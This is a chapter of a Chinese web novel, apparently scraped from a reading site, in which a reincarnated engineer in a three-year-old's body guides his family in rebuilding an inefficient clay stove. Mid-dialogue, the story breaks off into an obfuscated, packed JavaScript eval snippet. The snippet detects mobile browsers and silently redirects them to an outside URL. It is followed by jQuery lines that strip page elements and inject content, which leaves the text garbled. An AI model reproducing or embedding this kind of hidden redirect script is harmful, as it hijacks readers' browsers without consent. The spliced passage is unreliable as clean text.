默认冷灰
24号文字
方正启体

3. 灶王爷听了都要点赞

作者:月亮下的小橙子本书字数:K更新时间:
    接下来的两天,林湛像块渐渐吸饱了水的海绵,努力适应着这个三岁躯壳和陌生的环境。他大部分时间还是躺着或坐着,但精神明显好了许多。语言系统在王氏和大丫的“双语教学”(本地土话 vs. 林博士脑内标准翻译)下,总算升级到了“基本沟通1.0版”,至少能比较连贯地说出短句,口音也朝着本地化方向努力靠拢,虽然偶尔还是会冒出点让王氏觉得“这孩子病好后说话咋有点文绉绉”的词汇。


    他更多的“活动”是看那本黄历。王氏和大丫真的把它当“画册”给他讲,指认着简单的字,比如“日”、“月”、“人”、“口”。林湛则装出一副懵懂好奇的样子,用小手指着,让她们反复念,自己则默默记下字形、读音,并与脑中的繁体字库对应。效率不高,但胜在安全,且初步建立了“这孩子对字画有点兴趣”的印象。


    真正的挑战,来自对这家徒四壁中“硬件设施”的观察。其中最让他这个前世跟高温炉、精密仪器打交道的工科博士感到“手痒”的,就是厨房那个——姑且称之为灶台的东西。


    那其实就是在屋子角落用泥巴和石块胡乱垒起的一个半开放式结构,上面架着一口边缘有缺口的铁锅。通风极差,每次王氏生火,浓烟先是在灶膛里乱窜,然后不甘心地从各个缝隙涌出,常常熏得人眼泪直流。火焰分布不均匀,锅底受热面积小得可怜,大部分热量显然都白白浪费在加热空气和周围的泥土石块上了。


    烧的柴禾,是姐姐大丫每天辛苦捡回来的枯枝败叶,偶尔有几块耐烧的硬木,都被王氏仔细收着,用于需要长时间炖煮的时候。柴,在这里是宝贵的能源。


    这天上午,王氏又在准备煮那千篇一律的野菜粟米糊。大丫蹲在灶前往里小心地添着细碎的柴草,浓烟再次弥漫开来。王氏一边咳嗽,一边用木勺搅动着锅里刚刚开始冒热气的稀汤,叹了口气:“这柴,烧得也太快了,捡都赶不上烧。”


    林湛坐在不远处的矮凳上(他自己坚持要坐起来“看火”),小眉头已经皱了好一会儿。这热效率,低得令人发指!简直是对能源的犯罪!他的博士之魂在熊熊燃烧,比那灶膛里半死不活的火苗旺盛多了。


    他仔细观察着灶膛结构、烟气流向、锅底与火焰的距离。一个简单的改进方案迅速在脑中成型:减少不必要的空隙,改善进风,增加一个简单的烟道引导热气更集中地冲刷锅底……原理很简单,就是基础的燃烧空气动力学和热传导优化。


    但问题是,怎么提出来?


    一个三岁病愈孩童,突然对如何垒灶台发表专业见解?怕不是要被当成中了邪。


    他眼珠转了转,目光落在正在努力吹火的大丫被烟熏得发红的小脸上,又看了看王氏愁苦的侧影。知识不用来改善生存,那和没有有什么区别?得想个办法,用“孩子话”说出来。


    机会很快来了。大丫添柴时,一块没干透的树枝冒起更浓的黑烟,呛得她连咳好几声,泪花都出来了。


    “阿姐,烟呛。”林湛适时开口,带着点孩童对常见问题的“抱怨”。


    “嗯,这破灶,老这样。”大丫用袖子抹了把脸,气鼓鼓地说。


    林湛挪了挪屁股,凑近一点点,用小手指着灶膛口:“洞洞大,烟乱跑。” 他说的是灶膛进柴口和观察口开得太大又不规整,漏风严重。


    王氏听了,随口道:“家家都这样,不然柴怎么塞进去?”


    “那……堵一点?”林湛继续用试探的、天真的语气,“堵边边,留中间,让烟……听话?” 他努力比划着,想象中是用合适的石块或泥巴,将灶口部分封堵,形成更集中、更靠近锅底的燃烧室和明确的进风道。


    大丫歪着头:“堵上?火不会灭吗?”


    “留洞洞,吹气。”林湛指了指灶膛下方本该有进风口的位置(但现在基本就是个乱糟糟的缺口),“下面,也弄个洞洞,让气进去,火才旺。” 他心想,这叫引导空气从下方进入,支持充分燃烧,形成向上流动的热气流。


    王氏停下了搅动锅勺的动作,有些诧异地看向小儿子。这话听起来还是孩子的异想天开,但“让烟听话”、“下面弄洞洞让火旺”,仔细一想,好像……有点门道?她想起以前在娘家时,村里有个老泥瓦匠帮人盘灶,好像就提过什么“火路要通”、“烟囱要顺”之类的话,虽然那时她年纪小没在意。


    现在被自己三岁的儿子这么磕磕巴巴地一说,倒勾起点模糊的记忆。


    “湛哥儿,你怎么想到的?”王氏走过来,蹲下身子看着他。


    林湛心里一紧,面上却露出孩童看到有趣事物时的表情,指着灶膛里跳跃的火苗:“火……喜欢追着锅跑。烟不听话,乱跑,就把火带歪了。把乱跑的路堵上,烟就只能从该走的地方走,火就跟着锅跑了。” 这解释,充满了童趣和拟人化,完美掩盖了背后的流体力学原理。


    王氏听着,又看了看那费柴又冒烟的灶台,再看看儿子虽然瘦弱却格外清亮的眼睛,心里忽然动了一下。反正这灶已经破旧不堪,就算改坏了,还能坏到哪里去?最多浪费点力气和泥巴。可万一……真能让火“旺”点,省点柴呢?柴禾就是力气,就是时间啊。


    “他娘,你真听这小娃胡咧咧?”一个低沉的声音插了进来,是父亲林大山回来了,手里提着两只瘦小的山雀,脸上带着疲惫,但看到林湛精神不错的样子,眼神柔和了一瞬。他刚进门就听到儿子在那“指点江山”。


    “爹!”林湛立刻转头,露出一个尽可能“天真无邪又带着点小得意”的笑容,“火不听话,我教它!”


    林大山:“……”


    王氏站起身,把林湛的想法,用更通俗的乡下话转述了一遍:“孩子意思是,把灶膛口收小点,下面也留个规矩的进风口,让烟火顺着一个方向走,别乱窜。我听着,好像有点理儿。反正今天你回来了,要不……试试?就当哄孩子玩了。”


    林大山看看灶,看看儿子亮晶晶充满“期待”(其实是博士对实验的渴望)的眼睛,又掂量了一下手里那两只不够塞牙缝的山雀。改善灶台听起来总比指望天天抓到山雀靠谱点。


    “成吧。”他最终闷声道,“就按湛哥儿说的‘哄火’试试。不过你得说清楚,怎么个弄法?”


    于是,史上最离奇的“工程技术指导会”在林家厨房召开了。总工程师:林湛(三岁)。施工负责人:林大山。技术顾问(兼保姆):王氏。见习工:大丫。


    林湛被王氏抱着,近距离“指挥”。他尽量用最具体的、看得见的指示:“爹,那块扁石头,堵左边那个大缝。”“下面,这里,掏个洞,拳头大。”“泥巴,糊这里,抹平。”“锅,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179244|196937||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    放低一点点,对,离火近些。”


    林大山虽然觉得这场景有点好笑,但干起活来一丝不苟。他按照儿子的“指点”,用现有的石块、泥巴,对那个破灶台进行了一番改造。主要改动是:缩小了杂乱的灶膛口,用泥巴塑造了一个更集中的燃烧室轮廓;清理并规范了灶底进风口;用泥浆尽量抹平了灶体上不必要的缝隙;还将铁锅的位置稍微降低了一些,使其更贴近火焰中心区。


    整个过程,林湛的心脏其实跳得有点快。理论是理论,实际效果如何,还得看“临床实验”。而且,他提出的都是基于现有材料的简易改造,到底能提升多少效率,心里也没底。


    改造完毕,灶台看起来……嗯,依旧很土,但似乎整齐了一点,缝隙少了。王氏小心翼翼地点燃一把软草,塞进新的灶膛口。


    火焰腾起,这一次,烟雾没有四处乱涌,而是大部分被“吸”向了锅底方向,然后从锅边与灶台的缝隙(暂时充当了烟道)比较顺畅地向上飘散。虽然还是有点烟,但比之前那种“烽火台”式的效果好了太多。更明显的是,火苗似乎更集中、更“挺立”了,舔舐着锅底的范围明显变大。


    大丫凑近看了看,惊喜道:“娘!火真的‘旺’了!烟也少了!”


    王氏赶紧把准备好的水和粟米野菜下锅。很快,锅里就发出了比往常剧烈得多的“咕嘟”声,水沸米滚的速度肉眼可见地加快了。


    林大山蹲在灶前,看着那明显改善的火势,脸上露出了难以置信的神色。他添柴的手都放慢了,因为同样多的柴草,似乎燃烧得更充分,持续时间也更长了。


    不到往常一半的时间,一锅野菜粟米糊就煮好了,而且看起来比以往更稠一些(因为水分蒸发损失少了)。


    王氏盛出糊糊,第一碗先递给林大山,眼神里满是惊奇和喜悦:“当家的,你看这……湛哥儿这法子,真管用!”


    林大山接过碗,没急着吃,而是目光复杂地看向正被大丫扶着、小口小口试着新糊糊(味道没变,但热度更均匀)的林湛。


    林湛感受到父亲的视线,抬起头,嘴角还沾着一点糊糊,故意露出一个有点懵懂、又有点“求表扬”的笑容:“爹,火听话了吗?”


    林大山沉默了几秒,伸手,用粗糙的手指,轻轻擦掉林湛嘴角的糊糊。然后,他用一种前所未有的、郑重其事的语气,对王氏说:


    “以后,湛哥儿要是再说这种‘胡话’,仔细听着。”


    他又看向林湛,眼神深邃:“咱们林家,祖坟可能真的冒了次不一样的烟。”


    林湛心里松了口气,知道这第一关算是过了。他装作听不懂父亲话里的深意,只是开心地继续吃糊糊,心里却在想:


    嗯,热效率初步改善,能源利用率提升约百分之三十到五十(目测)。节约柴禾,等于节约劳动力和时间。不错的开始。


    不过,这糊糊的味道……什么时候才能改善一下呢?博士的思维,已经开始飘向下一项“技术攻关”了——比如,如何利用有限资源,获取一点盐,或者寻找替代调味品?


    当然,得继续用“三岁孩童的奇思妙想”包装才行。


    改造世界,从改造自家灶台开始。林湛觉得,这起点虽然低微,但……还挺有成就感的。至少,今晚大家都能少吸点烟,多吃口热乎饭了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)